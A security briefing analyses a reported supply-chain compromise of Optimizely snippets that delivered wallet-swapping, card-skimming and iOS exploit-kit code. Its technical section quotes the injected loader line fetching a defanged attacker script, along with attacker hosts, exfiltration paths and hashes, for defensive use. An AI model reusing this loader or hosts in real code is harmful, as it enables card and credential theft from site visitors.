P.K. SHARMA

Cyber security intelligence, AI governance, practitioner analysis

Report URI says Optimizely snippets at 178 organisations loaded wallet-swapping and card-skimming code

Report URI says malicious code was written into the Project JavaScript field of 188 Optimizely snippets at 178 organisations on 16 November 2026 and served from the host every site trusted. Optimizely cites a signup flow flaw; visitors affected and losses are not stated.

By · LinkedIn · · 24 min read

From 04:21 to 21:52 UTC the code came from the host every site already trusted

Report URI's blog post, published at 22:47 UTC on 16 November 2026 (its page data), says the attacker wrote its code into the Project JavaScript field of Optimizely customer projects, and left the rest of each snippet untouched. It says: "The file was still served from cdn.optimizely.com, with Optimizely's certificate, from a host that every affected site already trusted". A check of the domain or the certificate would therefore have passed (this site's reading of that sentence); what had changed was a field inside a script the customers had configured themselves. Report URI's timeline puts the first injection it saw at 04:21 UTC and one infected snippet still left, of 188 it had found, at 21:52 UTC: 17 h 31 min between the two (derived: 21:52 minus 04:21). Most of that was clean-up in a short window: 169 snippets still carried the code at 20:56 and 1 at 21:52, so 168 were cleaned in 56 minutes (derived: 169 minus 1).

The clean-up was faster than the public knowing. Report URI's post was published 55 minutes after its last count (derived: 21:52 to 22:47). Optimizely's status entry on the saved page is time stamped 01:02 UTC on 17 November, 3 h 10 min after that last count (derived: 21:52 to 01:02). The saved page shows one update only, so earlier updates, if there were any, are not on it. These are the times the records were written, not when Optimizely knew: its statement says it identified the incident "Earlier today" and gives no time. Report URI also says that when it published it had "not had any response" to its outreach to Optimizely.

What that does not establish. The pages do not say how the attacker obtained write access to the projects of so many unrelated customers, how many Optimizely customers were changed in all (Report URI's 188 of 1,611 is its own set, 11.7% of it, derived), how many visitors loaded the payload, how many used an iPhone or iPad on an unpatched version, how many cards or wallets were affected, or how much money was lost: the figure of about 7,040 dollars is a snapshot of wallet receipts at 19:25 UTC, not a loss figure and not what victims lost. No page names the actor, and this article does not. No page says any device was compromised. A script loading on a site is not a count of visitors harmed.

Whose account this is. Optimizely is the party whose platform was abused; the sites named are its customers and victims, not parties at fault. Report URI sells script monitoring and content security policy reporting, and its post says "This is exactly the kind of attack Report URI is designed to detect". BleepingComputer is a news site that relays Optimizely's and Salesforce's statements and adds a check of its own. This site could test none of the technical claims.

What Report URI says happened, in order

Optimizely Web works, Report URI says, by having each customer load a JavaScript snippet from Optimizely's CDN. The snippet holds Optimizely's code, the customer's experiments and an optional field called Project JavaScript (projectJS): "custom code the customer writes in their Optimizely dashboard, which runs on every page". Report URI says the attacker added its own code to that field in customer projects and left the rest of each snippet alone. It also says "Optimizely's CDN served exactly what it was given; this was not a CDN cache-poisoning attack".

Drawn from Report URI's post, with the points BleepingComputer's article also prints. Each card names the page that states it; the red cards are what the pages do not establish.

The loader came in three forms. Report URI saw a plain script tag pointing at the payload host (most snippets); the same address hidden in base64 and decoded with atob(), which a text search for the domain will not find; and a full inline copy of the payload that runs through eval if the domain is blocked. BleepingComputer, which says it analysed copies of the modified files, confirms the direct and base64 forms and says Report URI's researcher also found a variation that could run an embedded copy if the remote script was blocked. Report URI says one customer's snippet, Smartsheet's, was cleaned at one point and then re-infected with the base64 form, so "whoever wrote the code still had access at the time". It says some customers serve the snippet from their own domains, and that those were affected too because the content comes from the same Optimizely project. It adds that Optimizely's own sites carried the code: the snippets for www.optimizely.com and login.optimizely.com.

What the payload does, as Report URI describes it. Report URI says every visitor received the same file and every part of it was active at once. It swaps valid cryptocurrency wallet addresses for the attacker's in page text, form fields, links, the clipboard and outgoing requests. It skims card numbers, expiry dates and security codes from form submissions and requests, a part Report URI says was added at 13:43 UTC; Report URI says cards entered in hosted payment frames from providers such as Stripe or Adyen were out of its reach and cards typed into a site's own form fields were not. When it swaps an address next to wallet or payment wording, it sends the page address, cookies not marked HttpOnly, the original addresses and a screenshot. Report URI says it cannot see how many cards or cookies reached the attacker's host. BleepingComputer lists the same capabilities and says they were documented by Report URI's researcher as well; the saved article does not say who analysed the payload file.

The iPhone and iPad part. Report URI says that on iPhones and iPads the script loads a further script from two domains, reads the iOS version and loads an exploit chain in a hidden frame: one named Coruna for iOS 13 to 17, one named DarkSword for 18.x, and a separate chain for 26 that "currently only fingerprints the device". It also says "The kit's own comments say iOS 18.7.3 and later, and 26.3 and later, are patched". BleepingComputer names the same two kits. Neither page says that any device was compromised or that any exploit succeeded. Report URI's word is that the script "delivered the Coruna and DarkSword iOS exploit kits" to iPhones and iPads; delivering a kit to a browser is not the same event as an exploit working. This site covered DarkSword earlier, with its patch history, in a briefing on the kit.

The clock: 17 h 31 min, and a clean-up in under an hour

Report URI's timeline and counts, drawn to scale by this site. The dashed line joins two counts, 169 at 20:56 and 1 at 21:52, with nothing measured between them. The 168 and the 56 minutes are derived.

Report URI's timeline starts before the Optimizely injection: its first entry for the same actor is 17 September, when it says an injector first appeared on Turkish sites through an SEO backlink panel script, and an earlier wave from 13 to 16 November injected through three other third-party scripts. This site derives nothing from those two dates. On 16 November the page puts the last clean capture of the BBC's snippet at 02:21 and the first Optimizely injection it saw at 04:21, in the BBC's snippet, loading the earlier injector's address. The payload host's address, by contrast, first appears at 08:28. The two are different things: the first injection Report URI saw was not the payload it describes at length.

Every figure this site worked out from Report URI's pages, with the arithmetic. All are derived, and none is a figure either page prints.

Derived figureArithmeticWhat it is not
11.7% of the snippets Report URI checked188 / 1,611 = 0.1167A share of Optimizely's customers. The 1,611 is Report URI's own set, found mostly through its own crawl data.
1.06 snippets per organisation; 10 more snippets than organisations188 / 178 = 1.056; 188 minus 178 = 10A count of customers with more than one project. The page does not say which organisations had more than one.
17 h 31 min04:21 to 21:52 = 1,051 minutesHow long any one site served the code. It is the span between two of Report URI's observations.
About 16 h 19 min04:21 to about 20:40 = 979 minutesPrecise. The page gives the mass clean-up as about 20:40 to 21:10.
5 h 15 min, or 5 h 33 min08:28 to 13:43 = 315 minutes; 08:10 to 13:43 = 333 minutesA development time. The page gives 08:10 as the first build of the payload and 08:28 as its first sighting on bbc.com.
4 h 35 min, or 4 h 53 min08:28 to 13:03 = 275 minutes; 08:10 to 13:03 = 293 minutesA statement that the sweep to exchanges followed the first theft. The page gives no first theft time.
168 snippets cleaned in 56 minutes169 minus 1 = 168; 20:56 to 21:52 = 56 minutesA rate between two counts. Nothing was measured between them. At least one snippet, Smartsheet's, was cleaned and then re-infected earlier in the day, so the 188 is not a running total.
19 snippets clean by 20:56188 minus 169 = 19A list of which ones. A simple subtraction of the page's counts.
About 782 dollars an hour7,040 / 9 = 782A loss rate. The 7,040 is a wallet snapshot at 19:25 UTC, the page says it came within roughly nine hours on the 16th, and it does not say which nine.
55 minutes; 3 h 10 min21:52 to 22:47 = 55 minutes; 21:52 to 01:02 next day = 190 minutesThe delay in anyone's knowledge. They are gaps between Report URI's last count and two later time stamps.

The money, as the pages print it. Report URI says that as of 19:25 UTC on 16 November the attacker's wallets had received about 7,040 dollars, with the five wallet rows it prints adding to 7,043 (derived), and that funds were swept out at 13:03 to 13:05 UTC, one transfer going to a deposit address at a named exchange. One wallet row is marked as unspent, so the sweep was not of every wallet. Report URI also says one of the attacker's wallets has been in use since March 2026, so the actor was active before this campaign. BleepingComputer's table says about 7,000 dollars were received as of 16 November, and adds that some wallets were active before the attack, "making it difficult to determine how much cryptocurrency was stolen during the campaign". This site did not visit any explorer and prints no wallet address.

Who was affected: a sample of 1,611, and two lists that differ

Report URI says it fetched 1,611 distinct Optimizely snippets, found mostly through its own crawl data, and that 188 snippets belonging to 178 organisations were infected; it adds that "the real number is likely higher as we could only check snippets we could find in time". Its sector table adds up to 178 (derived: the twenty sector counts sum to 178). Banking and finance is the largest at 32 organisations, 18.0% of 178 (derived); the three largest sectors, banking and finance, technology and retail, hold 75 of the 178, 42.1% (derived).

Report URI's sector table, as printed for the six largest sectors. The percentages are derived. The full list of organisations and domains is on Report URI's page.

SectorOrganisationsExamples Report URI prints
Banking and finance32 (18.0%, derived)Paychex, HSBC US, Equifax, SmartAsset, HSBC Hong Kong
Technology and SaaS23 (12.9%, derived)Zoom, Bitly, Salesforce, GitLab, Optimizely
Retail and fashion20 (11.2%, derived)IKEA, ASOS, Mattel, American Eagle, Scheels
Streaming and entertainment12Peacock, D&D Beyond, Wizards of the Coast, NOW TV, Zattoo
News and media10CNN, BBC, Fox News, NPR, CTV News
Airlines and travel9Alaska Airlines and Hawaiian Airlines, Transavia, Air France-KLM, KLM Netherlands, Trafalgar
Fourteen further sectors72 (derived: 178 minus 106)Healthcare, industrial, telecoms, crypto and trading, insurance, property and others

Report URI says its list is ranked by Tranco position within each sector and that, at 21:52 UTC, every snippet except one telecom company's had been cleaned. The two pages name victims differently. Report URI's opening names eleven: Zoom, the BBC, CNN, Salesforce, GitLab, IKEA, HSBC, Equifax, Air France-KLM, Ledger and Peacock. BleepingComputer names twenty-one in two lists (derived count): eleven it says it confirmed from urlscan.io captures, namely Zoom, KLM, GitLab, BBC, Scheels, CNN, American Girl, ManageBuilding, Smartsheet, Stamps.com and Salesforce, and ten others, namely Fox News, Mutual of Omaha, American Eagle, Air France, Change.org, Optimizely, HSBC Insurance, Bitly, IG and UNICEF USA. On this site's reading every name in BleepingComputer's lists also appears in Report URI's full list, if HSBC Insurance is read as the insurance site Report URI lists under HSBC Singapore; the reverse is not true, because Report URI's list has 178 organisations. This article does not merge the lists.

What each says it based the list on. Report URI's rests on its own fetches of snippet files and the headers and hashes it kept. BleepingComputer's first list rests on scans recorded by urlscan.io, which it says show the malicious script "loaded, or attempted to load". A script that loads on a page is not a count of visitors harmed, and neither page counts visitors. Only one named victim has a statement on the saved pages: Salesforce told BleepingComputer it was "confirming Optimizely scripts are disabled across preview and production instances", that it continues to investigate, and that it will notify affected customers without undue delay if it identifies unauthorised access to their data. That is a precaution and an investigation, not a confirmation of customer impact.

What Optimizely says it did, and where its own two wordings differ

Optimizely's statement to BleepingComputer, quoted in its article, says it "identified a security incident in which an unauthorized party exploited a vulnerability in the Experimentation account signup flow", used it to add malicious JavaScript to some customer projects, and that Optimizely has blocked access to the vulnerable path and deployed a fix, removed the injected code from affected projects, ended active sessions, revoked tokens, reset access for affected user accounts, blocked any code from being delivered in Cloudflare, and notified all affected customers. The status entry on Optimizely's own page, time stamped 01:02 UTC on 17 November, is shorter.

Optimizely's two statements compared. The press quote is as BleepingComputer prints it; the status entry is as read on 17 November 2026. A dash means the text does not print it.

PointPress quote, via BleepingComputerStatus entry, 17 Nov 01:02 UTC
CauseA vulnerability in the Experimentation account signup flowA vulnerability in Experimentation
ScopeSome customer projectsSome customer projects
Vulnerability closedBlocked access to the vulnerable path and deployed a fixFixed the vulnerability
Injected codeRemoved from affected projectsRemoved from affected projects
AccountsEnded active sessions, revoked tokens, reset access for affected user accountsTook steps to secure affected user accounts
DeliveryBlocked any code from being delivered in CloudflarePut additional protections in place to prevent unauthorized code from being delivered
CustomersNotified all affected customersNot printed
How many customers, which, when it beganNot printedNot printed
StatusContinuing to investigate; updates promised on the status pageMonitoring
The same incident through the three saved pages. Where a page prints no figure, the card says so.

The cause is the clearest difference. Optimizely's quote names the Experimentation account signup flow; its status entry says only that the vulnerability was in Experimentation. Report URI says it does not know: "We don't know how the attacker got write access" to so many unrelated customer projects, listing a compromised Optimizely system, a compromised credential with cross customer access, or something else, and says "That's for Optimizely to explain". BleepingComputer repeats Optimizely's wording and adds that "it remains unclear how long the vulnerability had been present or how many website visitors were exposed to the malware". The signup flow account is Optimizely's own and this site could not verify it. This article reports the three accounts and resolves none.

Where the pages differ, and inside the pages

Each row says what the pages print. None is resolved by this site.

Differences between and inside the three saved pages, as read on 17 November 2026.

PointWhat the pages printHow this article treats it
CauseOptimizely's quote: a signup flow flaw. Its status entry: a flaw in Experimentation. Report URI: unknown.All three reported; the signup flow detail is Optimizely's and unverified.
Victim listsReport URI: 178 organisations, eleven named in its opening. BleepingComputer: twenty-one names from scans of pages.Both reported, not merged. Neither list counts visitors.
Word for the victimsBleepingComputer's headline says sites were infected; its first sentence says malicious JavaScript was loaded on sites. Report URI's opening says it was served to visitors of 178 organisations, and its method is fetching snippet files.This article says the code was in snippets Report URI fetched and loaded on pages BleepingComputer scanned. It says nothing about visitors served.
Suspected or notBleepingComputer's page data calls it a suspected supply chain attack; its visible article text calls it a supply chain attack.Reported as a difference in the page itself.
The iOS wordingBleepingComputer's opening: scripts designed to exploit vulnerabilities in iOS devices; its body names Coruna and DarkSword. Report URI names the same two and says the script delivered them.Both say kits were delivered. Neither says a device was compromised.
Which kit for which iOSReport URI's table: Coruna for 13 to 17, DarkSword for 18.x. Its timeline: a Coruna frame injected into every visit from iOS 18.6 or earlier.Both printed; the page does not reconcile them.
Wallet tableReport URI at 19:25 UTC: the Bitcoin wallet 4 transactions, the Ethereum wallet 0.055 ETH. BleepingComputer, as of 16 November: 7 transactions and 0.074 ETH. Totals: about 7,040 against about 7,000 dollars.Reported, with no address printed. The snapshot times differ and BleepingComputer gives none.
Report URI's crawl of policiesIt says it crawled 256 organisations' hosts, but its four result rows add to 159 (68, 50, 17, 24). The 15% printed beside 24 matches 159 (24 / 159 = 15.1%, derived) and not 256 (9.4%).Reported as printed. The 97 hosts not in the rows are not explained.
Payload host timingCertificates for the payload host are listed from 04:28 to 05:23 and the domain as registered at 05:23, so a certificate is listed before the registration.Reported as printed. The page gives no reason.
First injectionReport URI's first Optimizely injection at 04:21 loaded the earlier injector's address, not the payload host.Reported; it is why 04:21 and 08:28 are different events.
Time zonesBleepingComputer prints 09:12 PM on 16 November; its page data adds a minus five hour offset, which is 02:12 UTC on 17 November (derived).Both given. Report URI's times are UTC.
Unrelated entriesOptimizely's status page also lists a recommendations outage, a build service end of life and a Microsoft outage.Not part of this story.

What the pages state, and what they do not

What the three saved pages establish and do not, as read on 17 November 2026.

QuestionStatedNot stated
Where the code came fromReport URI: Project JavaScript fields of customer projects, served unchanged from the trusted hostWhether other fields or products were touched
How write access was obtainedOptimizely's quote: a signup flow flaw. Report URI: unknownAny technical detail; whether a credential was involved; why so many unrelated customers
How many customers were changedReport URI: 188 snippets, 178 organisations, of its 1,611A total across all of Optimizely's customers
How many visitors loaded the payloadNothingAny visitor count, for any site
iPhones and iPadsKits named and delivered by iOS version; one chain only fingerprints; the kit's patched versionsAny device compromised; how many were on an unpatched version
Cards and walletsThe payload's behaviour; wallet receipts of about 7,040 dollars at 19:25 UTC (Report URI)How many cards, cookies or wallets; total loss; what victims lost
Whether named sites ran it for every visitorReport URI: it was served to visitors; BleepingComputer: loaded, or attempted to loadWhether every visitor or only some; for how long on each site
Victim confirmationSalesforce: disabling scripts and investigatingAny named site confirming customer impact
Who is behind itReport URI: 'the same actor' across wavesAny group or person
Whether access persistsReport URI: one customer's snippet re-infected after cleaning earlier in the dayWhether the attacker still has access now
Optimizely beyond the entry and the quoteA status entry at 01:02 UTC on 17 November and a quote to the pressAnything else, including the account signup flaw's detail and a full advisory

A trusted host is a label, not a control

An allow list entry for a host says where code may come from. It says nothing about what the host serves tomorrow, or what a customer's field on that host holds. Report URI puts it in these words: "Allowing cdn.optimizely.com was never going to help", because the malicious code arrived from the trusted host itself. The same lesson sits in an earlier briefing on a card skimmer hidden in a third party analytics script.

Report URI's own test, and its limits. Report URI says it crawled 256 organisations' own hosts and evaluated their content security policies against what the payload needs. Its rows: no policy at all, 68; policy allowed both the payload and the data theft, 50; payload ran but a connection rule blocked the data theft, 17; payload blocked, 24 (15%, as printed). This is Report URI's evaluation of policies against the payload, not a record of what happened at those sites, and the rows add to 159, not 256 (see the differences above). Report URI says the 24 protected sites were separated from the rest by a restrictive script source rule, that two common settings let the code through (strict-dynamic, and unsafe-eval, which it says Optimizely's own documentation tells customers to allow; this site did not read that documentation), and that HSBC's policy blocked the payload file and the data theft but the inline copy still ran.

A vendor claim, attributed. Report URI says its products would have flagged the new script, the new data destinations and the changed snippet, and that a policy in enforcement mode could have blocked key parts of the attack. That is Report URI's claim about its own product, made after the event. This article does not say that a content security policy or any monitoring product would have prevented this attack.

What the pages print

Everything in this section is copied from Report URI's page, with live addresses defanged (hxxps, [.]). It is the page's own description of the loader, not the payload. This site prints no wallet address, no payload, no exploit chain contents and no working code. The pages do print file hashes: Report URI gives two SHA-256 values for the payload file, shown below, and keeps an archive of every infected snippet with hashes and time stamps, which it offers to affected organisations and CERTs on request. It also prints IP addresses for three of the hosts, which this article does not reproduce.

Text
"projectJS": function(){(function(){try{var s=document.createElement('script');s.src='hxxps://1688360[.]cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})();
The line Report URI shows as added to Zoom's snippet, domain defanged by this site. From Report URI's post as read on 17 November 2026. Defenders can search a saved snippet for the field name and for this shape, and for atob( as well, because one form hides the address in base64.
Text
cdn.optimizely[.]com            the legitimate host that served the snippet
1688360[.]cc                    the payload host
  /track.js                     the payload
  /card.php                     where card details are sent
  /hit.php                      where cookies, page address and screenshot are sent
webshell[.]lol                  the earlier injector (first Optimizely injection at 04:21 loaded this)
5vobauua3ojpklx[.]icu           first iOS router
eil786npto9u5bq[.]icu           second iOS router
(Report URI lists eight more attacker domains in its indicator table.)
Hosts and paths as Report URI's post names them, defanged. The legitimate host is the first line. Read on 17 November 2026. Report URI says all of its listed attacker domains should be blocked including subdomains; BleepingComputer prints the payload host and card path defanged as well.
Text
iOS version   Chain (as printed)
13 to 17      Coruna
18.x          DarkSword
26            Separate chain; currently only fingerprints the device

Report URI: the kit's own comments say iOS 18.7.3 and later, and 26.3 and later, are patched.
The iOS version table and the kit's patched versions, as Report URI prints them, read on 17 November 2026. Chain contents are not reproduced here.
Text
Global markers set by the payload:   window._k7   window.__k7b
Script tag attribute on the iOS loader:   data-channel-code="02111110"
SHA-256, track.js (17:13 build):   814a963c0da480e2449d9b6664480156e1cd6d731014117401bf635badec3a0f
SHA-256, track.js (latest build, 17:57):   f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40
Markers and hashes as Report URI prints them, read on 17 November 2026. Report URI labels the two hashes as the track.js builds of 17:13 and 17:57 UTC.

Time stamps the pages print, in UTC on 16 November: 02:21 last clean capture of the BBC's snippet; 04:21 first Optimizely injection seen; 08:10 first build of the payload; 08:28 payload host first seen on bbc.com; 11:20 Zoom's snippet modified (its Last-Modified header); 13:03 sweep to exchanges; 13:43 card skimmer added; 17:13 to 17:57 second iOS host and frame; 19:24 to 19:59 Report URI's sweep; about 20:40 to 21:10 mass clean-up; 21:52 one snippet left. The payload was rebuilt 26 times during the day, Report URI says.

What to do, in order

First, what Optimizely says it did, once: blocked the vulnerable path and fixed it, removed the injected code, ended sessions, revoked tokens, reset access for affected accounts, blocked code delivery in Cloudflare and notified affected customers. Whether your account was one of those is something only Optimizely can say; the steps below do not depend on it. Items marked as Report URI's are its advice; the rest are this site's suggestions.

Take this with you

If your site loads an Optimizely snippet (this site's suggestions unless marked)

  • Read the Project JavaScript field of every project and every environment, and every experiment's custom code, and compare each with your own change history. Remove anything you did not write. Report URI gives the same first step.
  • Then rotate the passwords and tokens of every account that can edit those fields, remove users and integrations that should not exist, and end old sessions. Report URI advises reviewing write access and rotating credentials.
  • Search your proxy, CDN or DNS logs for 16 November for the hosts in the technical section. Do not take a missing domain in a text search as clean: one loader form hides the address in base64.
  • If you serve the snippet from your own domain, check that copy as well. Report URI says some customers do and that those copies were affected too.
  • If your own forms take card numbers, treat cards typed on 16 November as potentially exposed, and treat session tokens or secrets in cookies not marked HttpOnly as exposed (Report URI). Decide whether you need to tell your customers.
  • Keep a saved copy of the snippet as served, with its headers and a hash, so a later change can be compared. Report URI says it keeps such an archive.

Take this with you

For everyone running third party scripts (this site's suggestions)

  • List every script that can reach a page that takes payment, and who can edit each one. A host you allow is not a control over what its customers' fields hold.
  • Decide whether third party experimentation scripts should load on checkout pages at all.
  • Turn on a content security policy in report mode on payment pages, so nothing breaks and you can see new scripts and new destinations. Whether it would have stopped this attack is a vendor claim, not an established fact.
  • Name an owner who is told when any third party script changes, and decide in advance who can switch it off.

Take this with you

For visitors who used an affected site on 16 November (Report URI's advice, with this site's reading)

  • Update iPhones and iPads. Report URI quotes the kit as treating iOS 18.7.3 and later, and 26.3 and later, as patched.
  • Check any pasted wallet address character by character before sending. If an address you pasted does not match the one you meant to pay, it may have been swapped (Report URI).
  • Cards typed into a site's own form fields on 16 November are the exposed ones, not cards typed into a payment provider's hosted frame (Report URI's wording). Watch statements and tell the card issuer about anything unfamiliar.

The question the record leaves open

The loader did not come from a stranger's server. It came from the host every affected site already trusted, from a field the customers could edit, and the two public records on the saved pages, Report URI's post and Optimizely's entry, are time stamped after the mass clean-up. Neither page says how the attacker got write access, so the decision a reader controls is the one underneath: who can edit the JavaScript that runs on your checkout page, and who would notice a change?

Key facts

Sources

  1. PrimaryWorld's Largest Brands Infected With Malware Via Optimizely, page data 16 November 2026 22:47 UTC: the Project JavaScript field, the timeline, the payload, the counts, the sector table, the policy evaluation and the indicators. The finder's own account; Report URI sells script monitoring and policy reporting. Read by this site on 17 November 2026Report URI (company blog)accessed 2026-11-17
  2. PrimaryWeb Experimentation Security Incident, entry time stamped 17 November 2026 01:02 UTC and marked Monitoring: the platform vendor's own short account. The page also lists unrelated incidents, which are not used. Read by this site on 17 November 2026Optimizely (status page)accessed 2026-11-17
  3. Reported byNews relay printed 16 November 2026, 09:12 PM (minus five hour offset in its page data): carries Optimizely's and Salesforce's quoted statements, a wallet table and a list of sites from urlscan captures. Used for the quoted statements and to show where it differs from the primary. SecondaryBleepingComputeraccessed 2026-11-17

Share this briefing

Know someone who owns this problem? Send it to them.

Related briefings

The briefing, in your inbox

Practitioner analysis of cyber and AI security news. No vendor noise.

How often

Every new briefing in one email, at 7am, or at 7am, 12:30pm and 6pm. Nothing is sent when nothing is new. Unsubscribe any time.